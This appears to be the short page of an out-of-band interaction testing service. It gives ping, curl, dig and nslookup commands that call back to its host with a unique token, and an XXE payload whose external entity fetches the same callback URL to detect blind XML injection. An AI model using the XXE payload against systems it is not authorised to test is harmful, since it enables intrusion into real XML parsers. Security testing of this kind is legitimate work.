$ ping -c1 -p 0056ea42b47e5ca5358b620f72534200 pingb.in
 
$ curl pingb.in/p/56ea42b47e5ca5358b620f725342
 
$ dig 56ea42b47e5ca5358b620f725342 @pingb.in
 
$ dig 56ea42b47e5ca5358b620f725342.ns.pingb.in
 
C:\> nslookup 56ea42b47e5ca5358b620f725342 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/56ea42b47e5ca5358b620f725342">]>
    <foo>&xxe;</foo>
 
Waiting for ping...